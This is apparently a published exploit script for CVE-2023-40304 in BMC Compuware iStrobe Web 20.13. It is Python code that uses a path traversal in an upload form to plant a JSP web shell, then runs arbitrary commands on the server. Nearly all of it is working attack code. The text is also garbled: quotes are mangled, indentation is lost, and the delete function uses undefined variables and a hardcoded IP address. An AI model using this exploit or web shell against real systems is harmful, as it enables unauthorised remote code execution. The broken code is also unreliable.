BMC Compuware iStrobe Web 20.13 Pre-auth RCE

#!/usr/bin/env python3
# Exploit Title: Pre-auth RCE on Compuware iStrobe Web
# Date: 01-08-2023
# Exploit Author: trancap
# Vendor Homepage: https://www.bmc.com/
# Version: BMC Compuware iStrobe Web – 20.13
# Tested on: zOS# CVE : CVE-2023-40304
# To exploit this vulnerability you’ll need “Guest access” enabled. The vulnerability is quite simple and impacts a web upload form, allowing a path traversal and an arbitrary file upload (.jsp files)
# The vulnerable parameter of the form is “fileName”. Using the form, one can upload a webshell (content of the webshell in the “topicText” parameter).# I contacted the vendor but he didn’t consider this a vulnerability because of the Guest access needed.
import requests
import urllib.parse
import argparse
import sys
def upload_web_shell(url):
data = {“fileName”:”../jsp/userhelp/ws.jsp”,”author”:”Guest”,”name”:”test”,”action”:”open”,”topicText”:”<%@ page import=\"java.lang.*,java.io.*,java.util.*\" %><%Process p=Runtime.getRuntime().exec(request.getParameter(\"cmd\"));BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream()));BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getErrorStream()));String s=\"\";while((s=stdInput.readLine()) != null){out.println(s);};s=\"\";while((s=stdError.readLine()) != null){out.println(s);};%>“,”lang”:”en”,”type”:”MODULE”,”status”:”PUB”}
# If encoded, the web shell will not be uploaded properly
data = urllib.parse.urlencode(data, safe='”*<>,=()/;{}!’)
# Checking if web shell already uploaded
r = requests.get(f”{url}/istrobe/jsp/userhelp/ws.jsp”, verify=False)
if r.status_code != 404:
return
r = requests.post(f”{url}/istrobe/userHelp/saveUserHelp”, data=data,
verify=False)
if r.status_code == 200:
print(f”(+) Successfully uploaded web shell, it should be
accessible at {url}/istrobe/jsp/userhelp/ws.jsp”)
else:
sys.exit(“(-) Something went wrong while uploading the web shell”)
def delete_web_shell(url):
paramsPost = {“fileName”:”../jsp/userhelp/ws.jsp”,”author”:”Guest”,”name”:”test”,”action”:”delete”,”lang”:”en”,”type”:”MODULE”,”status”:”PUB”}
response = session.post(“http://220.4.147.38:6301/istrobe/userHelp/deleteUserHelp”,
data=paramsPost, headers=headers, cookies=cookies)
if r.status_code == 200:
print(f”(+) Successfully deleted web shell”)
else:
sys.exit(“(-) Something went wrong while deleting the web shell”)
def run_cmd(url, cmd):
data = f”cmd={cmd}”
r = requests.post(f”{url}/istrobe/jsp/userhelp/ws.jsp”, data=data,
verify=False)
if r.status_code == 200:
print(r.text)
else:
sys.exit(f'(-) Something went wrong while executing “{cmd}” command’)
parser = argparse.ArgumentParser(prog=’exploit_cve_2023_40304.py’, description=’CVE-2023-40304 – Pre-auth file upload vulnerability + path traversal to achieve RCE’)
parser.add_argument(‘url’, help=’Vulnerable URL to target. Must be like http(s)://vuln.target’)
parser.add_argument(‘-c’, ‘–cmd’, help=’Command to execute on the remote host (Defaults to “whoami”)’, default=’whoami’)
parser.add_argument(‘–rm’, help=’Deletes the uploaded web shell’, action=’store_true’)
args = parser.parse_args()
upload_web_shell(args.url)
run_cmd(args.url, args.cmd)
if args.rm:
delete_web_shell(args.url)